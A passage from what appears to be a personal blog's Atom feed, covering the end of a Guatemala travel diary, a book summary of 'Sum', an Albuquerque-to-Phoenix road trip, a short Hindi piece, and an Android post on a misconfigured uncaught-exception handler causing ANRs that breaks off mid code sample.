<p>I took a 250 Qz 8 PM to 5 AM overnight bus to return to Guatemala city. We were shifted to a different bus company and the bus wasn&rsquo;t as comfortable as the first one. It reached an hour late and we were dropped at a station far from the Central zone.</p>
<h3 id="day-8---guatemala-city">Day 8 - Guatemala City</h3>
<p>I visited the national cultural palace (Spanish-only tour) 40 Qz 45-minutes tour. I later checked the Museum of Indigenous art (40 Qz entry fee). It is kind of OK if you have some interest in Textile.</p>
<figure>
    
    <a href="Guatemala-textile-musem-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Guatemala-textile-musem-768x1024.jpg"
         alt="Guatemala Textile Museum" width="900"/> </a>
</figure>

<figure>
    
    <a href="Guatemala-city-palace-of-culture-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Guatemala-city-palace-of-culture-768x1024.jpg"
         alt="The Palace of Culture" width="900"/> </a>
</figure>

<p>The walking street in the center is good and I would recommend living close to it. Given the time constraints, I decided not to do   
    
    
<a href="https://www.atlasobscura.com/places/semuc-champey?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Samuk Champey</a>, as it requires a three-day trip with 9-hours spent on the bus each way and that too during the day.</p>
<h3 id="note">Note</h3>
<ol>
<li>The local currency of 1 Quetzales is about 8 cents.</li>
<li>Credit cards are not widely accepted. Carry cash or as they call it locally, <em>efectivo</em>.</li>
<li>Unlike 
<a href="/travel/ecuador/">Ecuador</a> or 
<a href="/travel/cusco-peru/">Peru</a>, night buses are not common in Guatemala except for Guatemala City to Flores (near Tikal) and return. There is no overnight bus, notably, to Samuc Champey.</li>
<li>Guatemala is really off the tourist trail. It is difficult to find English speakers.</li>
<li>Google Maps did get the location wrong a few times, Uber was more accurate for walking directions.</li>
<li>Most big supermarkets have free bathroom access.</li>
<li>
<a href="/travel/hotels-vs-airbnb-vs-hostels/">Hotels</a> are relatively cheap. You would pay anywhere between 100-200 Qz for a private room. Unless you are going in the peak season, don&rsquo;t book online, just show up and you will get a better price. All activities online are more expensive than what you will find on-ground.</li>
<li>I did a 295 Qz anti-gen COVID-19 test at Eventos Católicos. And got the results in an hour. I needed this test to fly back to the US.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/central-america" term="central-america" label="central-america"/><category scheme="https://ashishb.net/tag/latin-america" term="latin-america" label="latin-america"/><category scheme="https://ashishb.net/tag/guatemala" term="guatemala" label="guatemala"/></entry><entry><title type="html">Book summary of Sum: Forty Tales From The Afterlives</title><link href="https://ashishb.net/book-summary/sum-forty-tales-from-the-afterlives/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><link href="https://ashishb.net/book-summary/woke-inc/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Woke, Inc. by Vivek Ramaswamy"/><link href="https://ashishb.net/book-summary/red-notice/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Red Notice by Bill Browder"/><link href="https://ashishb.net/book-summary/antifragile/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Antifragile by Nassim Nicolas Taleb"/><id>https://ashishb.net/book-summary/sum-forty-tales-from-the-afterlives/</id><author><name>Ashish Bhatia</name></author><published>2022-10-01T08:06:00+00:00</published><updated>2022-10-01T08:06:00+00:00</updated><content type="html"><![CDATA[<blockquote>Explore &ldquo;Sum: Forty Tales From The Afterlives,&rdquo; a thought-provoking book of 40 stories challenging our notions of control, scale, and eternity beyond death.</blockquote><p>  
    
    
<a href="https://amzn.to/3DH9wlZ?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sum: Forty Tales From The Afterlives</a> is a collection of 40 short stories, describing what could happen in our afterlives. Here are my key takeaways from the book.</p>
<h3 id="control">Control</h3>
<ol>
<li>You look at the simplicity of a horse. You want to become one in your next life. Your desire is being fulfilled. However, as your body transmogrifies, so, does your brain, which loses its intellectual capacity. And that&rsquo;s when you realize that if you won&rsquo;t remember your human life, how would you enjoy the life of being a horse? You cannot enjoy simplicity unless you have the ability to remember the alternatives. Also, in your final moments as a human being, you wonder what intellectual capacity you had before choosing to become a human.</li>
<li>It is not the brave who can handle the presence of a powerful authority. It is the brave who can handle its absence.</li>
<li>Our fantasies curse our ability to enjoy realities.</li>
<li>Parents seed a child&rsquo;s life but eventually have limited control over it. Politicians steer the ship of a state with limited control as well. Enthusiastic lovers marry without knowing where the commitment will lead. All creation ends with creators, powerless, over their own creations.</li>
<li>Humans are weird. We don&rsquo;t just want familiarity. We want familiarity interleaved with unfamiliarity.</li>
<li>Knowing the inescapability of heartache does not reduce its sting. Glimpsing the mechanics of love does not alter its intoxicating appeal, either.</li>
<li>Free choice has its costs - temptation, anger, anguish, distrust, dread, and vice.</li>
<li>Your memories are not infallible. Your memories manufacture small myths throughout your lifetime to keep your life story consistent with who you thought you were.</li>
</ol>
<h3 id="scale">Scale</h3>
<ol>
<li>The meaning varies with spatial scale. A Shakespeare play is meaningless to a bacterium.</li>
<li>Everything created on the backs of smaller scales is consumed by those same scales.</li>
<li>We build machines of increasing sophistication to address our own mysteries. Our machines are too sophisticated for us to fully understand. Maybe we, ourselves, are machines built by less powerful creatures to solve their mysteries. And our creators can&rsquo;t fully fathom us, either.</li>
</ol>
<h3 id="eternity">Eternity</h3>
<ol>
<li>After we die, we live in the head of those who remember us, we lose control of our lives and become who they want us to be. You may be gone, but your marks remain.</li>
<li>Army Platoons, Congresses, and plays do not end. They simply move and continue to exist in a different realm.</li>
<li>A limited time on Earth, marked by death, is a motivator. The end of death is the end of motivation.</li>
<li>Egalitarian heaven would be weird. It makes no one happy. The communists would be unhappy because God created it. The meritocratic are unhappy because they believe they deserved better than undeserving communists.</li>
<li>Reminiscing about the glory days of existence is perhaps all that afterlife might consist of!</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Driving from Albuquerque to Phoenix</title><link href="https://ashishb.net/travel/driving-from-albuquerque-to-phoenix/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/driving-from-santa-fe-to-albuquerque/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Santa Fe to Albuquerque in New Mexico"/><link href="https://ashishb.net/travel/santa-fe/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Santa Fe"/><link href="https://ashishb.net/travel/las-cruces-and-el-paso/?utm_source=atom_feed" rel="related" type="text/html" title="A day visit to Las cruces and El Paso"/><link href="https://ashishb.net/travel/lordsburg-new-mexico/?utm_source=atom_feed" rel="related" type="text/html" title="Visiting Shakespeare Ghost town in Lordsburg New Mexico"/><link href="https://ashishb.net/travel/phoenix-arizona/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Phoenix Arizona"/><id>https://ashishb.net/travel/driving-from-albuquerque-to-phoenix/</id><author><name>Ashish Bhatia</name></author><published>2022-09-17T04:00:18+00:00</published><updated>2022-09-17T04:00:18+00:00</updated><content type="html"><![CDATA[<blockquote>Embark on a scenic journey from Albuquerque to Phoenix, exploring national parks and iconic stops like Church Rock and Petrified Forest along the way!</blockquote><p>The drive from 
<a href="/travel/driving-from-santa-fe-to-albuquerque/">Albuquerque</a> to 
<a href="/travel/phoenix-arizona/">Phoenix</a> is full of national parks and natural wonders. We intentionally did this drive over one-and-a-half days. We started on the afternoon of the first day.</p>
<p>The first stop was the   
    
    
<a href="https://www.alltrails.com/trail/us/new-mexico/church-rock-trail?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Church Rock hiking trail</a> in Red Rock Park. It&rsquo;s a relatively flat, 2.6 miles hike.</p>
<figure>
    
    <a href="church-rock-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="church-rock-768x1024.jpg"
         alt="Church Rock Trail in Red Rock Park, New Mexico, featuring rugged terrain" width="900"/> </a>
</figure>

<p>We stayed overnight at Gallup and the next day, our first stop was   
    
    
<a href="https://www.roadsideamerica.com/tip/2857?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Tee Pee Trading Post</a>.</p>
<figure>
    
    <a href="Teepee-trading-post-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Teepee-trading-post-1024x768.jpg"
         alt="A large teepee structure stands prominently beside the road, serving as the Tee Pee Trading Post, surrounded by a few small structures and vehicles." width="900"/> </a>
</figure>

<p>At the next stop,   
    
    
<a href="https://www.roadsideamerica.com/tip/2857?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Yellowhorse Trading Post</a> We got   
    
    
<a href="https://thestayathomechef.com/authentic-indian-fry-bread/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Navajo fried bread</a>, it tastes similar to Indian &ldquo;bhatoora&rdquo;. I would recommend trying it.</p>
<figure>
    
    <a href="Yellowhorse-trading-post-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Yellowhorse-trading-post-1024x768.jpg"
         alt="A trading post named Yellowhorse is depicted, showcasing a rustic building exterior in a desert environment with sparse vegetation and rugged terrain in the background." width="900"/> </a>
</figure>

<p>Next, we entered   
    
    
<a href="https://www.nps.gov/pefo/index.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Petrified Forest, National Park</a>. There are several small hikes and stops here to check out. You can spend the full day here. First, the science, of petrification happens when silica sediments along with the water enter a log of wood. Over time, the wood piece starts to resemble an amalgam of wood and quartz stone. This park is full of petrified wood.</p>
<figure>
    
    <a href="Petrified-National-forest-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Petrified-National-forest-1-1024x768.jpg"
         alt="Petrified wood, resembling a fusion of wood and quartz stone, is scattered across a desert landscape, showcasing a blend of natural wood texture and crystalline elements." width="900"/> </a>
</figure>

<figure>
    
    <a href="Petrified-National-forest-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Petrified-National-forest-2-1024x768.jpg"
         alt="A rock-strewn landscape with large petrified logs scattered across a desert terrain, typical of a national forest known for its preserved fossils." width="900"/> </a>
</figure>

<figure>
    
    <a href="Petrified-National-forest-3-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Petrified-National-forest-3-768x1024.jpg"
         alt="Petrified National Forest" width="900"/> </a>
</figure>

<figure>
    
    <a href="Petrified-National-forest-5-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Petrified-National-forest-5-1024x768.jpg"
         alt="A rock-strewn landscape with vibrant petrified logs scattered across a desert terrain, under a clear blue sky, showcasing the Petrified National Forest." width="900"/> </a>
</figure>

<figure>
    
    <a href="Petrified-National-forest-6-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Petrified-National-forest-6-1024x768.jpg"
         alt="A rock-strewn landscape with vibrant petrified logs scattered across a desert terrain, under a clear blue sky, showcasing the Petrified Forest National Park." width="900"/> </a>
</figure>

<figure>
    
    <a href="Petrified-National-forest-7-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Petrified-National-forest-7-1024x768.jpg"
         alt="A landscape photograph showcasing petrified wood pieces in a desert environment, characteristic of Petrified National Forest, under a clear, expansive sky." width="900"/> </a>
</figure>

<p>Our last stop in the journey was the city of Sedona before reaching 
<a href="/travel/phoenix-arizona/">Phoenix</a>.</p>
<figure>
    
    <a href="Sedona-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Sedona-1024x768.jpg"
         alt="A landscape photo featuring Sedona&#39;s red rock formations under a clear sky, representing the final stop in a journey before reaching Phoenix." width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/new-mexico" term="new-mexico" label="new-mexico"/><category scheme="https://ashishb.net/tag/arizona" term="arizona" label="arizona"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Virgin Mojito (हिंदी)</title><link href="https://ashishb.net/short-stories/virgin-mojito-hindi/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/freedom/?utm_source=atom_feed" rel="related" type="text/html" title="Freedom"/><link href="https://ashishb.net/short-stories/souvenir-clothing/?utm_source=atom_feed" rel="related" type="text/html" title="Souvenir Clothing"/><link href="https://ashishb.net/short-stories/crowded-or-popular-exclusive-or-deserted/?utm_source=atom_feed" rel="related" type="text/html" title="Crowded or Popular? Exclusive or deserted?"/><link href="https://ashishb.net/short-stories/the-terrible-economics-of-a-restaurant/?utm_source=atom_feed" rel="related" type="text/html" title="The Terrible Economics of running a Restaurant"/><link href="https://ashishb.net/short-stories/empty-japan-crowded-tokyo/?utm_source=atom_feed" rel="related" type="text/html" title="Empty Japan, crowded Tokyo"/><id>https://ashishb.net/short-stories/virgin-mojito-hindi/</id><author><name>Ashish Bhatia</name></author><published>2022-09-15T03:00:51+00:00</published><updated>2022-09-15T03:00:51+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the evolution of a simple drink from &ldquo;नींबू-पानी&rdquo; to &ldquo;व़र्जिन-मोहीतो&rdquo; through cultural settings</blockquote><p>गाँव में रहने वाला लड़का घर में &ldquo;नींबू-पानी&rdquo; पीता है ।<br>
शहर में जाता है तो उसको &ldquo;शिकंजी&rdquo; बोलने लगता है ।<br>
फिर फ़ाइव-स्टार होटेल में जाता है, और &ldquo;लेमोनेड&rdquo; ऑर्डर करता है ।<br>
विदेश-यात्रा पर जाता है, तो उसी नींबू-पानी को &ldquo;व़र्जिन-मोहीतो&rdquo; कहना सीख जाता है ।</p>
<ul>
<li>  
    
    
<a href="https://en.wikipedia.org/wiki/Kumar_Vishwas?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">कुमार विश्वास</a></li>
</ul>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/hindi" term="hindi" label="hindi"/></entry><entry><title type="html">Android uncaught exception handler and ANR</title><link href="https://ashishb.net/programming/android-uncaught-exception-handler-and-anr/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/maintaining-android-app/?utm_source=atom_feed" rel="related" type="text/html" title="Maintaining an Android app is a lot of work"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/use-makefile-for-android/?utm_source=atom_feed" rel="related" type="text/html" title="Use Makefile for Android"/><link href="https://ashishb.net/programming/android-navigation-up-vs-back/?utm_source=atom_feed" rel="related" type="text/html" title="Android Navigation: Up vs Back"/><link href="https://ashishb.net/programming/android-always-show-toasts-on-the-background-thread/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Always show toasts on the background thread"/><id>https://ashishb.net/programming/android-uncaught-exception-handler-and-anr/</id><author><name>Ashish Bhatia</name></author><published>2022-09-10T16:00:04+00:00</published><updated>2022-09-10T16:00:04+00:00</updated><content type="html"><![CDATA[<blockquote>Learn how a minor mistake in custom Java exception handling caused cryptic ANRs and stack overflow errors. Discover the crucial fix to avoid these pitfalls.</blockquote><p>While trying to install a custom exception handler to catch uncaught exceptions (crashes), I ended up writing</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Java" data-lang="Java"><span style="display:flex;"><span>CustomExceptionHandler handler <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> CustomExceptionHandler(Thread.currentThread().getUncaughtExceptionHandler());
</span></span><span style="display:flex;"><span>Thread.setDefaultUncaughtExceptionHandler(handler);</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>instead of</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Java" data-lang="Java"><span style="display:flex;"><span>Thread.UncaughtExceptionHandler existingHandler <span style="color:#719e07">=</span> Thread.getDefaultUncaughtExceptionHandler();
</span></span><span style="display:flex;"><span>CustomExceptionHandler handler <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> CustomExceptionHandler(existingHandler);
</span></span><span style="display:flex;"><span>Thread.setDefaultUncaughtExceptionHandler(handler);</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>The difference looks minor but it broke the exception handler and converted every crash into a cryptic ANR!</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                C
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">7
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-C" data-lang="C"><span style="display:flex;"><span><span style="color:#2aa198">0</span> libc.so syscall
</span></span><span style="display:flex;"><span><span style="color:#2aa198">1</span> libart.so art<span style="color:#719e07">::</span>ConditionVariable<span style="color:#719e07">::</span><span style="color:#268bd2">WaitHoldingLocks</span>(art<span style="color:#719e07">::</span>Thread<span style="color:#719e07">*</span>)
</span></span><span style="display:flex;"><span><span style="color:#2aa198">2</span> libart.so art<span style="color:#719e07">::</span>ThreadList<span style="color:#719e07">::</span><span style="color:#268bd2">WaitForOtherNonDaemonThreadsToExit</span>(<span style="color:#dc322f">bool</span>)
</span></span><span style="display:flex;"><span><span style="color:#2aa198">3</span> libart.so art<span style="color:#719e07">::</span>JII<span style="color:#719e07">::</span><span style="color:#268bd2">DestroyJavaVM</span>(_JavaVM<span style="color:#719e07">*</span>)
</span></span><span style="display:flex;"><span><span style="color:#2aa198">4</span> libandroid_runtime.so android<span style="color:#719e07">::</span>AndroidRuntime<span style="color:#719e07">::</span><span style="color:#268bd2">start</span>(<span style="color:#dc322f">char</span> <span style="color:#719e07">const</span><span style="color:#719e07">*</span>, android<span style="color:#719e07">::</span>Vector <span style="color:#719e07">const</span><span style="color:#719e07">&amp;</span>, <span style="color:#dc322f">bool</span>)
</span></span><span style="display:flex;"><span><span style="color:#2aa198">5</span> app_process64 main
</span></span><span style="display:flex;"><span><span style="color:#2aa198">6</span> libc.so __libc_init</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Very occasionally, I got a more useful error that didn&rsquo;t look related but it was.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
